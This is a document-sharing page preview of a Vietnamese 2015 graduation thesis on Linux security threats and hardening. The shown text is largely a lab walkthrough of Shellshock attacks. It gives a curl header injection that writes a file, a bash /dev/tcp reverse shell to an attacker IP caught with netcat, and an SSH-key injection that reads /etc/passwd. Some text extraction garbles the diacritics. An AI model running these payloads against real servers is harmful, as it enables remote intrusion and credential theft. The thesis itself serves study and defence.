Nghiên cứu những nguy cơ mất an toàn trên HĐH Linux và các giải pháp tăng cường

68 314 0
Nghiên cứu những nguy cơ mất an toàn trên HĐH Linux và các giải pháp tăng cường

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Với sự bùng nổ trong lĩnh vực tin học hiện nay, việc đảm bảo an toàn trở nên quan trọng và cần thiết hơn. Với bối cảnh nền kinh tế thế giới đang có xu hướng toàn cầu hóa hiện nay, và trước thực trạng về vấn đề vi phạm bản quyền ở Việt Nam, thì việc sử dụng hệ điều hành Linux là một giải pháp tốt nhất. Trong tương lai, hi vọng hệ điều hành này sẽ là hệ điều hành chủ đạo ở trong nước và phục vụ cho mọi người.

ĐỒ ÁN TỐT NGHIỆ NGHIÊN CỨU NHỮNG NGUY CƠ MẤT AN TOÀN VÀ GIẢI PHÁP TĂNG CƯƠNG AN TOÀN CHO HỆ ĐIỀU HÀNH LINUX Ngành: Công nghệ thông tin Hà Nội, 2015 MỤC LỤC MỤC LỤC II DANH MỤC HÌNH VẼ VI DANH MỤC CÁC BẢNG VIII LỜI NÓI ĐẦU X CHƯƠNG I .1 GIỚI THIỆU HỆ ĐIỀU HÀNH LINUX 1.1 Giới thiệu hệ điều hành Linux 1.1.1 Giới thiệu UNIX Linux CHƯƠNG II 14 NGHIÊN CỨU NHỮNG NGUY CƠ MẤT AN TOÀN VÀ GIẢI PHÁP TĂNG CƯỜNG AN NINH CHO HỆ ĐIỀU HÀNH LINUX 14 2.1 Những nguy an toàn hệ điều hành Linux 14 2.1.1 Những nguy an tồn cài đặt, cấu hình hệ thống 14 2.1.2 Những lỗ hổng 16 2.2 Giải pháp tăng cường an ninh cho hệ điều hành Linux 23 2.2.1 Thiết lập sách bảo mật cho hệ điều hành Linux 23 2.2.2 Các giải pháp khác 37 CHƯƠNG III 39 CÀI ĐẶT THỰC HIỆN TẤN CƠNG SHELLSHOCK 39 3.1 Mơ hình cài đặt thực cơng 39 3.2 Khai thác lỗ hổng máy chủ Web Apache .41 3.3 Khai thác lỗ hổng ShellShock dịch vụ SSH 48 3.3.1 Tạo tài khoản người dùng máy chủ 49 3.3.2 Tạo khóa xác thực dành cho máy trạm .49 3.3.3 Thêm khóa xác thực vào tập tin cấu hình sshd máy chủ 51 3.3.4 Đăng nhập sử dụng khóa xác thực 52 3.3.5 Thực công 53 KẾT LUẬN .57 II TÀI LIỆU THAM KHẢO 58 III DANH MỤC TỪ VIẾT TẮT Danh mục từ viết tắt Tiếng Anh Tiếng Việt MIT Massachusetts Institute of Technology Viện Công nghệ Massachusetts PC Personal Computer Máy tính cá nhân HĐH Hệ điều hành CPU Central Processing Unit Bộ xử lý trung tâm ADM Arrow Diagramming Method Phương pháp mô tả sơ đồ mũi tên SUN Stanford University Network Công ty sản xuất phần mềm GNU GNU’s Not Unix Tập hợp phần mềm miễn phí tương thích với UNIX MIPS Microprocessor without Interlocked Pipeline Stages GNOME GNU Network Object Model Environment Phần mềm cung cấp môi trường Desktop cho hệ điều hành Linux KDE K Desktop Environment Mơi trường hình BSD Berkeley Software Distribution Hệ điều hành phát triển từ UNIX FORTRAN Formula Translator Ngơn ngữ lập trình RPM Red Hat Package Manager Chương trình cài đặt POSIX Portable Operating System Interface for Unix Giao diện hệ điều hành UNIX Unics- Uniplexed Information and Computing System Hệ điều hành máy tính NTFS New Technology File System Hệ thơng tập tin III Kiến trúc tập lệnh NAT Network Address Transaltion Biên dịch địa mạng FAT File Allocation Table Bảng cấp phát tập tin EXT Extended file system Hệ thống tập tin GUI Graphical User Interface Giao diện đồ họa người dùng ARM Advanced RISC Machine Cấu trúc vi xử lý GIMP GNU Image Manipulation Program Chương trình máy tính xử lý hình ảnh GRUB GRand Unified Bootloader Trình khởi động máy tính LILO Linux Loader Trình khởi động máy tính RHEL Red Hat Enterprise Linux Bản phân phối Linux DHCP Dynamic Host Configuration Protocol Giao thức cấu hình máy chủ động SSH Secure Shell Giao thức mạng HIDS Host-based instrusion Detection System Hệ thống phát xâm nhập BIOS Basic Input/Output System Hệ thống xuất nhập SFTP Secure Shell File Transfer Protocol Giao thức truyền tập tin TLS Transport Layer Security Bảo mật tầng truyền tải VPN Virtual Private Network Mạng riêng ảo MAC Media Access Control Địa vật lý TCP Transmission Control Protocol Giao thức tầng vận tải DNAT Destination Network Address Transaltion Chuyển đổi địa đích SNAT Stateful Network Address Transaltion Chuyển đổi địa trạng thái mạng NIS Network Information Service Dịch vụ thông tin mạng ACL Access Control List Danh sách điều khiển truy cập IV DANH MỤC HÌNH VẼ Hình1.1 Kiến trúc Linux Hình 2.2 Lỗi GHOST.c 17 Hình 2.3 GHOST-test.sh dựa hệ thống RHEL/CentOS .18 Hình 2.4 Lỗ hổng ShellShocl OS X Apple .19 Hình 2.5 Kiểm tra lỗ hổng ShellShock công cụ trực tuyến shellshocker.net .20 Hình 2.6 Cơ chế phát sinh lỗ hổng ShellShock 22 Hình 2.7 Mơ hình IP tables Linux 33 Hình 2.8 Mơ hình hoạt động Iptables 34 Hình 3.9 Mơ hình Client- Server 39 Hình 3.10 Cài đặt địa IP máy trạm 40 Hình 3.11 Cài đặt địa IP máy chủ Unbutu 40 Hình 3.12 Kiểm tra kết nối máy 41 Hình 3.13 Cập nhật gói phần mềm máy chủ Unbutu 41 Hình 3.14 Cài đặt apache2 máy chủ .42 Hình 3.15 Kiểm tra hoạt động máy chủ Web .42 Hình 3.16 Tạo nội dung tập lệnh Bash CGI 43 Hình 3.17 Kiểm tra nội dung tệp lệnh CGI 43 Hình 3.18 Sử dụng curl chèn đoạn mã lệnh vào truy vấn HTTP 44 Hình 3.19 Tập tin Hacked.txt tạo máy chủ 45 Hình 3.20 Kiểm tra kết cơng 45 Hình 3.21 Sử dụng Netcat để kiểm tra kết nối 46 Hình 3.22 Truy vấn HTTP từ máy cơng đến máy chủ 47 Hình 3.23 Kết yêu cầu kết nối ngược 47 Hình 3.24 Khai thác lỗ hổng ShellShock thành cơng 48 Hình 3.25 Tạo tài khoản người dùng “shellshock” .49 Hình 3.26 Kiểm tra việc khởi tạo người dùng “shellshock” 49 VI Hình 3.27 Tạo thu mục lưu trữ tài khoản người dùng .49 Hình 3.28 Thiết lập quyền sở hữu thư mục cho người dùng .49 Hình 3.29 Tạo cặp khóa RSA 50 Hình 3.30 Kiểm tra việc khởi tạo cặp khóa 50 Hình 3.31 Gửi công khai tới máy chủ 51 Hình 3.32 Xác nhận khoa cơng khai máy chủ .51 Hình 3.33 Tạo thư mục chưa khóa xác thực 51 Hình 3.34 Lưu trữ khóa cơng khai tập tin xác thực 52 Hình 3.35 Chỉnh sửa tập tin cấu hình dịch vụ SSH 52 Hình 3.36 Đăng nhập vào máy chủ thông qua dịch vụ SSH 52 Hình 3.37 Yêu cầu xác thực mật 53 Hình 3.38 Chèn lệnh Bash Shell vào khóa cơng khai 53 Hình 3.39 Lưu khóa cơng khai vào tập tin xác thực máy chủ 54 Hình 3.40 Truy vấn dịch vụ SSH tới máy chủ .54 Hình 3.41 Truy cập vào máy chủ thông qua dịch vụ SSH 55 VII DANH MỤC CÁC BẢNG Bảng 1.1 Một số phiên Unix Bảng 1.2 Bảng so sánh tổng quan HĐH Linux Windows 12 VIII LỜI CẢM ƠN Trong trình học tập nghiên cứu đề tài, em xin gửi lời cảm ơn trân trọng sâu sắc tới giáo viên hướng dẫn tận tình bảo, hướng dẫn truyền đạt kiến thức cho em trình thực đề tài Đồng thời thầy cô đượctrong khoa bạn giúp đỡ, tạo điều kiện cho em hoàn thành đồ án Mặc dù em cố gắng tham khảo từ tài liệu chuyên ngành chắn đề tài tránh thiếu sót, mong nhận ý kiến đóng góp thầy bạn đọc để đề tài hoàn thiện Em xin chân thành cảm ơn! Hà nội, ngày 01 tháng 06 năm 2015 Sinh viên thực IX LỜI NÓI ĐẦU Hệ điều hành Linux đời tạo bùng nổ lĩnh vực tin học, mang theo nhiều đặc tính an tồn bao hàm chế bảo mật, với tính chất mã nguồn mở đánh giá hệ điều hành bảo mật tốt Rất nhiều công ty, tổ chức giới chấp nhận Linux tảng cho sản phẩm họ, nhiều công ty, ISPs sử dụng máy chủ Linux Internet gateway Hơn nữa, Linux server thách thức lớn tình trạng xâm nhập bất hợp pháp Do đó, vấn đề tăng cường an tồn cho hệ thống Linux trở nên quan trọng thiết Đồ án nghiên cứu vấn đề cấp thiết việc bảo vệ an toàn liệu, giúp cải thiện đáng kể tư hiểu biết hệ điều hành Linux sinh viên an tồn thơng tin, đồng thời có nhìn tổng quát an toàn hệ thống tầm quan trọng chế thực vấn đề bảo mật Nội dung đồ án gồm chương: Chương I: Giới thiệu hệ điều hành Linux Chương đánh giá tổng quát hệ điều hành, lịch sử phát triển, ưu nhược điểm, đồng thời có so sánh hệ điều hành Linux với hệ điều hành Windows phổ biến Chương II: Nghiên cứu nguy an toàn giải pháp tăng cường an ninh cho hệ điều hành Linux Nghiên cứu lỗ hổng mới, điểm yếu bảo mật, kẽ hở giao thức Tìm hiểu công cụ, giải pháp an ninh hỗ trợ cho hệ điều hành Linux Chương III: Cài đặt thực công ShellShock Triển khai kịch công Linux CentOS thông qua lỗ hổng ShellShock X ĐỒ ÁN TỐT NGHIỆP Ngồi trình duyệt web sử dụng lệnh curl cách đơn giản để truy cập vào nội dung trang web máy chủ với nhiều tiện ích chỉnh sửa trường truy vấn HTTP Quá trình công thực cách sử dụng lệnh curl từ máy công Kali Linux với việc biến đổi nội dung UserAgent trường header HTTP truy vấn vào máy chủ Trong trường hợp chèn thêm đoạn mã lệnh Bash Shell khai thác lỗ hổng ShellShock: curl –k http://192.168.2.25/cgi-bin/first.sh -H “User-Agent: () { :;}; echo You got Hacked! > /tmp/Hacked.txt Hình 3.18 Sử dụng curl chèn đoạn mã lệnh vào truy vấn HTTP Với đoạn mã lệnh chèn vào truy vấn HTTP máy chủ tự động tạo tập tin Hacked.txt Page 44 ĐỒ ÁN TỐT NGHIỆP Hình 3.19 Tập tin Hacked.txt tạo máy chủ Có thể xem nội dung tập tin Hacked.txt vừa tạo câu lệnh: cat /tmp/Hacked.txt Hình 3.20 Kiểm tra kết cơng Kết trả lại “You got Hacked!” nghĩa công thành công máy chủ Web apache Page 45 ĐỒ ÁN TỐT NGHIỆP • Tạo kết nối ngược từ máy chủ web đến máy trạm Bằng cách sử dụng curl, cho phép tương tác với máy chủ web kiểm sốt thơng điệp gửi lấy nội dung trang Kết hợp với sử dụng netcat - công cụ sử dụng để đọc gửi liệu qua mạng Tùy vào mục đích sử dụng mà thiết lập netcat hai chế độ Listening (lắng nghe)hoặc Server (máy chủ) Trong trường hợp này, thiết lập kết nối ngược cho phép máy trạm công thực thi lệnh máy chủ Trong cửa sổ terminal, chạy netcat chế độ listening để lắng nghe kết nối cổng 4444: Hình 3.21 Sử dụng Netcat để kiểm tra kết nối Kết trả thơng báo lỗi máy chủ khơng tìm thấy tức không tồn kết nối từ máy chủ tới máy cơng Q trình cơng thực cách thực thi máy công truy vấn HTTP tới máy chủ câu lệnh sau: curl –H ‘x: () { :;}; /bin/bash –I >& /dev/tcp/192.168.2.15/444 0>&1’ http://192.168.2.25/cgi-bin/first.sh Page 46 ĐỒ ÁN TỐT NGHIỆP Hình 3.22 Truy vấn HTTP từ máy công đến máy chủ Như hình 3.14 kẻ cơng gán mã ‘x: () { :;}; /bin/bash –i >& /dev/tcp/192/168.2.15/4444 0>&1’ vào câu lệnh thực thi khiến cho máy chủ khởi động Bash Shell, tồn lỗ hổng ShellShock máy chủ nên máy chủ tự động thực kết nối TCP cổng 4444 tới địa IP máy cơng Bởi Bash Shell gọi với tùy chọn –i (chế độ tương tác) nên cung cấp đầy đủ tính liên lạc hai chiều tới máy công hoạt động lệnh thơng thường shell: Hình 3.23 Kết u cầu kết nối ngược Trên máy công, sử dụng netcat lắng nghe cổng 4444 xem có yêu cầu kết nối tới hay không: Page 47 ĐỒ ÁN TỐT NGHIỆP Hình 3.24 Khai thác lỗ hổng ShellShock thành cơng Kết trả hiển thị kết nối ngược thiết lập Cho phép máy công sử dụng quyền với quyền người dùng web máy chủ Từ kẻ cơng thực nhiều tác vụ khác máy chủ tùy theo mục đích Ví dụ số tác vụ nguy hiểm như: - Tạo tệp lệnh Bash Shell, tạo mã độc máy chủ web - Xem nội dung tập tin passwd tài khoản người dùng máy chủ 3.3 Khai thác lỗ hổng ShellShock dịch vụ SSH Mô hình cài đặt cơng tương tự với mơ hình phần 3.1 Trong đó, máy trạm (client) máy chủ (server) xác thực cách sử dụng mật mã khóa cơng khai RSA kết nối an tồn SSH Các bước thực công sau: - Tạo tài khoản người dùng máy chủ (victim-máy bị cơng) Tạo khóa xác thực dành cho máy trạm (attacker- máy cơng) Thêm khóa xác thực vào tập tin cấu hình sshd máy chủ Đăng nhập sử dụng khóa xác thực Thực cơng Page 48 ĐỒ ÁN TỐT NGHIỆP 3.3.1 Tạo tài khoản người dùng máy chủ Trên máy chủ tạo tài khoản người dùng “shellshock” câu lệnh: Hình 3.25 Tạo tài khoản người dùng “shellshock” Kiểm tra người dùng “shellshock” tạo hay chưa: Hình 3.26 Kiểm tra việc khởi tạo người dùng “shellshock” Tạo thư mục home cho người dùng “shellshock”: Hình 3.27 Tạo thu mục lưu trữ tài khoản người dùng Tạo quyền sở hữu thư mục /home/shellshock cho người dùng “shellshock”: Hình 3.28 Thiết lập quyền sở hữu thư mục cho người dùng 3.3.2 Tạo khóa xác thực dành cho máy trạm Kết nối SSH yêu cầu máy chủ cần phải xác thực máy trạm Việc xác thực thực thông qua hệ mật RSA, cụ thể máy chủ xác thực khóa bí mật máy trạm Như vậy, bước phải tạo cặp khóa RSA máy trạm: Page 49 ĐỒ ÁN TỐT NGHIỆP Hình 3.29 Tạo cặp khóa RSA Kiểm tra cặp khóa vừa tạo: Hình 3.30 Kiểm tra việc khởi tạo cặp khóa Gửi khóa cơng khai tới cho máy chủ thông qua kênh truyền công khai công cụ sftp: Page 50 ĐỒ ÁN TỐT NGHIỆP Hình 3.31 Gửi cơng khai tới máy chủ 3.3.3 Thêm khóa xác thực vào tập tin cấu hình sshd máy chủ Kiểm tra máy chủ nhận khóa cơng khai từ máy trạm: Hình 3.32 Xác nhận khoa cơng khai máy chủ Tạo thư mục chứa khóa xác thực cho người dùng “shellshock” : Hình 3.33 Tạo thư mục chưa khóa xác thực Lưu khóa cơng khai máy trạm vào tập tin khóa xác thực /home/shellshock/.ssh/authorized_keys: Page 51 ĐỒ ÁN TỐT NGHIỆP Hình 3.34 Lưu trữ khóa cơng khai tập tin xác thực Chỉnh sửa tập tin cấu hình dịch vụ SSH /etc/ssh/sshd_config qua câu lệnh: nano /etc/ssh/sshd_config Hình 3.35 Chỉnh sửa tập tin cấu hình dịch vụ SSH 3.3.4 Đăng nhập sử dụng khóa xác thực Máy trạm thực trình đăng nhập vào máy chủ thơng qua dịch vụ SSH: Hình 3.36 Đăng nhập vào máy chủ thông qua dịch vụ SSH Page 52 ĐỒ ÁN TỐT NGHIỆP Như vậy, trình cài đặt SSH máy chủ thành công xuất hình đăng nhập yêu cầu mật từ phía người dùng: Hình 3.37 u cầu xác thực mật 3.3.5 Thực cơng Trong mơ hình cài đặt mục 3.1 máy trạm đóng vai trò máy cơng Khóa cơng khai id_rsa.pub truyền từ máy trạm tới máy chủ qua kênh truyền công khai bị kẻ công chặn bắt Kẻ cơng tiến hành chỉnh sửa tập tin khóa cơng khai cách chèn thêm lệnh Bash Shell echo starting sleep vào phần đầu khóa sau: Hình 3.38 Chèn lệnh Bash Shell vào khóa cơng khai Sau chỉnh sửa xong kẻ cơng gửi khóa công khai đến máy chủ, máy chủ bổ sung khóa cơng khai vào tập tin khóa xác thực mà không xảy lỗi Page 53 ĐỒ ÁN TỐT NGHIỆP Hình 3.39 Lưu khóa cơng khai vào tập tin xác thực máy chủ Từ máy công, truy vấn dịch vụ SSH tới máy chủ câu lệnh: Hình 3.40 Truy vấn dịch vụ SSH tới máy chủ Kết trả cho thấy máy chủ thực câu lệnh chèn khóa cơng khai khơng cho đăng nhập Như chưa thực công Tiếp theo sử dụng câu lệnh khai thác lỗ hổng ShellShock để truy cập vào máy chủ thông qua dịch vụ SSH sau: Page 54 ĐỒ ÁN TỐT NGHIỆP Hình 3.41 Truy cập vào máy chủ thơng qua dịch vụ SSH Bằng việc chèn thêm { :;}; cat /etc/passwd kẻ cơng khai thác lỗ hổng ShellShock thành công đọc nội dung tập tin mật tài người dùng máy chủ Kẻ cơng dùng số câu lệnh chèn đoạn mã độc theo cách tương tự để khai thác lỗ hổng ShellShock máy chủ Chương trình bày bước khai thác lỗ hổng ShellShock để công lên máy chủ nhiều cách khác Từ đề phương pháp khắc phục để đảm bảo an toàn cho hệ thống mạng Page 55 ĐỒ ÁN TỐT NGHIỆP Page 56 ĐỒ ÁN TỐT NGHIỆP KẾT LUẬN  Kết đạt được: Đề tài hồn thành tìm hiểu nguy an toàn hệ điều hành Linux, nắm kiến thức hệ điều hành Linux Đã đưa công cụ tăng cường bảo mật cho hệ điều hành Linux, đồng thời giải pháp khắc phục nguy an toàn Đã cài đặt thực công thành công qua việc khai thác lỗ hổng ShellShock  Hạn chế: Do lực thời gian có hạn nên q trình nghiên cứu nhiều phần chưa thực giải pháp phòng chống mã độc chưa đưa phương pháp bảo mật tối ưu  Hướng phát triển đề tài: Có thể nghiên cứu sâu xây dựng nhiều kịch công ShellShock với độ phức tạp cao Có thể mở rộng đề tài xây dựng chương trình ngăn chặn truy cập trái phép  Kết luận: Với bùng nổ lĩnh vực tin học nay, việc đảm bảo an toàn trở nên quan trọng cần thiết Với bối cảnh kinh tế giới có xu hướng tồn cầu hóa nay, trước thực trạng vấn đề vi phạm quyền Việt Nam, việc sử dụng hệ điều hành Linux giải pháp tốt Trong tương lai, hi vọng hệ điều hành hệ điều hành chủ đạo nước phục vụ cho người Page 57 ĐỒ ÁN TỐT NGHIỆP TÀI LIỆU THAM KHẢO [1] Mẫn Thắng, Kiện toàn cho Linux OS,2012 http://www.slideshare.net/sbc-vn/sbc2012-linux-hardening-man-thang [2] Hà Quang Thụy- Nguyễn Trí Thành, Hệ điều hành Unix-Linux, 2004 http://coltech.vnu.edu.vn/httt/components/com_joomlaboard/uploade d/files/unixlinux.pdf [3] Shadab Siddiqui, Linux security (networking) http://en.bookfi.org/book/1177518 [4] James Turnbull Hardening linux,2013 http://www.slideshare.net/RDSWEB/hardening-linux-james-turnbull [5] Mitchell Anicas, How To Protect your Linux Server Against the GHOST Vulnerability, 2015 https://www.digitalocean.com/community/tutorials/how-to-protectyour-linux-server-against-the-ghost-vulnerability [6] Brad Chacos, Safe from Shellshock: How to protect your home computer from the Bash shell bug, 2014 http://www.pcworld.com/article/2687763/safe-from-shellshock-howto-protect-your-home-computer-from-the-bash-shell-bug.html Page 58 ... thiệu UNIX Linux CHƯƠNG II 14 NGHIÊN CỨU NHỮNG NGUY CƠ MẤT AN TOÀN VÀ GIẢI PHÁP TĂNG CƯỜNG AN NINH CHO HỆ ĐIỀU HÀNH LINUX 14 2.1 Những nguy an toàn hệ điều hành Linux ... cao hiểu biết Linux đánh giá hệ điều hành có giá trị : chi phí thấp, linh hoạt ổn định Page 13 ĐỒ ÁN TỐT NGHIỆP CHƯƠNG II NGHIÊN CỨU NHỮNG NGUY CƠ MẤT AN TOÀN VÀ GIẢI PHÁP TĂNG CƯỜNG AN NINH CHO... thời có so sánh hệ điều hành Linux với hệ điều hành Windows phổ biến Chương II: Nghiên cứu nguy an toàn giải pháp tăng cường an ninh cho hệ điều hành Linux Nghiên cứu lỗ hổng mới, điểm yếu bảo

Ngày đăng: 09/11/2017, 13:37

Mục lục

    DANH MỤC HÌNH VẼ

    DANH MỤC CÁC BẢNG

    GIỚI THIỆU HỆ ĐIỀU HÀNH LINUX

    NGHIÊN CỨU NHỮNG NGUY CƠ MẤT AN TOÀN VÀ GIẢI PHÁP TĂNG CƯỜNG AN NINH CHO HỆ ĐIỀU HÀNH LINUX

    CÀI ĐẶT THỰC HIỆN TẤN CÔNG SHELLSHOCK

    TÀI LIỆU THAM KHẢO

Tài liệu cùng người dùng

Tài liệu liên quan